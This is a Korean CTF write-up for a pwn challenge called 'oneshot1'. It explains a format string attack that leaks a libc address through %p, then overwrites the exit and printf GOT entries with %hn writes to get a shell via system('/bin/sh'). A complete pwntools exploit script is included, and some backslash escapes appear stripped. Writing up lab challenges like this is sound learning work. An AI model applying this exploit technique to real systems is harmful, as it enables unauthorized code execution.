[PWN] oneshot1

 

C코드이다. 이전 문제와 비슷한 것 같지만 gift 함수가 사라졌다! ㅠㅠ system 함수의 plt가 없으니 libc_base의 주소를 구해서 system 함수의 실제 주소를 구해야겠다.

 

이번 문제도 전 문제와 동일하게 main 함수를 여러번 반복해야 할 것 같으니, 가장 먼저 exit의 got주소를 main의 주소로 덮는다.

성공적으로 덮었다!

그 다음엔 libc_base의 주소를 구해야 한다. 그런데 과연 어떤 것을 통해 구할 수 있을까?

예전 주차에서 main의 ret에 저장된 __libc_start_call_main의 주소를 이용했던 적이 있다. 이번에도 이와 비슷한 방법을 사용하면 될 것 같다!

 

gdb로 실행시켜서 main의 ret에 적힌 값을 읽어봤다. __libc_start_call_main +128의 주소에 해당했다! 따라서 해당 주소에서 __libc_start_call_main의 offset과 128을 빼면 libc_base의 주소를 알 수 있다.

 

그렇다면 ret의 값을 어떻게 읽어올까? 우리는 %p를 이용할 수 있다! %p를 여러개 입력하면 먼저 rdi, rsi, rdx, r8, r9에 적힌 값을 읽어오지만, 그 다음부터는 stack에 저장된 값들을 읽어오게 된다. 즉, %p를 아주 많이 보내면, stack을 계속 읽다가 ret의 저장된 값까지 구할 수 있다!

 

물론 거리를 계산해서 스택에서 ret가 얼마나 떨어져 있는지 구할 수 있지만,, 나는 그냥 귀찮아서 %p를 80개 정도 입력해보았다.

ret의 값임을 알 수 있는 방법은, sfp에 1이 항상 저장되므로 0x1 다음의 값이 ret라고 추측할 수 있다! 세어보니 ret의 값은 %77$p에 존재했다. gdb로 확인해보았을 때도 같은 값이 저장되어 있었다!

(%75$p %76$p %77$p를 전달한 모습)

이렇게 해서 libc_base를 구할 수 있고, 그 다음은 system 함수의 실제 주소를 계산해서 printf의 got 주소을 system 함수의 실제 주소로 덮으면 된다!

 

__libc_start_call_main의 offset을 구해줬다. system의 offset까지 구해주었다.

 

그 다음, system 함수를 high, middle, low로 2바이트씩 나눠서 printf의 got주소를 덮으려고 했다. 그런데 계속 실패해서 알고보니, middle에서 low를 빼고, high에서 middle을 뺄 때 빼는 값이 더 큰 경우도 있었던 것이다!

#문제 발생
p.recvuntil(b'nn')
payload = f'%{system_l}c'.encode()
payload += b'%12$hn'
payload += f'%{system_m - system_l}c'.encode() # P1: system_l > system_m인 경우
payload += b'%13$hn'
payload += f'%{system_h - system_m}c'.encode() # P2: system_m > system_h인 경우
payload += b'%14$hn'
payload = payload.ljust(0x30, b"x00")
payload += p64(printf_got)
payload += p64(printf_got +2)
payload += p64(printf_got + 4)
pause()
p.send(payload)

 

이를 해결하기 위해서는 0x10000을 더해주면 된다. 만약 빼는 값이 더 작다면 맨 앞의 1이 잘리고, 빼는 값이 더 크다면 자동으로 이를 채워주는 역할을 해준다!

#해결 방안
p.recvuntil(b'nn')
payload = f'%{system_l}c'.encode()
payload += b'%12$hn'
payload += f'%{0x10000 + system_m - system_l}c'.encode()
payload += b'%13$hn'
payload += f'%{0x10000 + system_h - system_m}c'.encode()
payload += b'%14$hn'
payload = payload.ljust(0x30, b"x00")
payload += p64(printf_got)
payload += p64(printf_got +2)
payload += p64(printf_got + 4)
pause()
p.send(payload)

 

 

이렇게 printf의 got 주소를 system 함수로 덮고, 마지막에 /bin/sh를 입력해주면, system(/bin/sh)를 실행해서 쉘을 딸 수 있다!

 

전체 exploit 코드는 다음과 같다.

from pwn import *

#context.log_level = 'debug'

p = process('./oneshot1')
e = ELF('./oneshot1')

main=0x401196
libc_start_main_offset=0x29d10
system_offset=0x50d60
exit_got = e.got['exit']
printf_got = e.got['printf']

main_h = main >> 16
main_l = main & 0xffff

log.info('main_h : ' + hex(main_h))
log.info('main_l : ' + hex(main_l))

p.recvuntil(b'nn')
payload = f'%{main_h}c'.encode()
payload += b"%10$hn"
payload += f"%{main_l - main_h}c".encode()
payload += b"%11$hn"
payload = payload.ljust(0x20, b"x00")
payload += p64(exit_got + 2)
payload += p64(exit_got)
pause()
p.send(payload)

p.recvuntil(b'nn')
pause()
p.send(b'%77$p')

leak=p.recv(14)[-12:]
leak=int(leak,16)
log.info('leak data - '+hex(leak))
libc_base = leak - libc_start_main_offset - 128
log.info('libc base - '+hex(libc_base))
system=libc_base + system_offset

system_h=system >> 32
system_m=(system >> 16) & 0xffff
system_l=system & 0xffff
log.info('system   : ' + hex(system))
log.info('system_h : ' + hex(system_h))
log.info('system_m : ' + hex(system_m))
log.info('system_l : ' + hex(system_l))

p.recvuntil(b'nn')
payload = f'%{system_l}c'.encode()
payload += b'%12$hn'
payload += f'%{0x10000 + system_m - system_l}c'.encode()
payload += b'%13$hn'
payload += f'%{0x10000 + system_h - system_m}c'.encode()
payload += b'%14$hn'
payload = payload.ljust(0x30, b"x00")
payload += p64(printf_got)
payload += p64(printf_got +2)
payload += p64(printf_got + 4)
pause()
p.send(payload)

p.recvuntil(b'nn')
pause()
p.send(b'/bin/shx00')

p.interactive()

 

성공적으로 쉘을 따냈다!

댓글 달기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다

위로 스크롤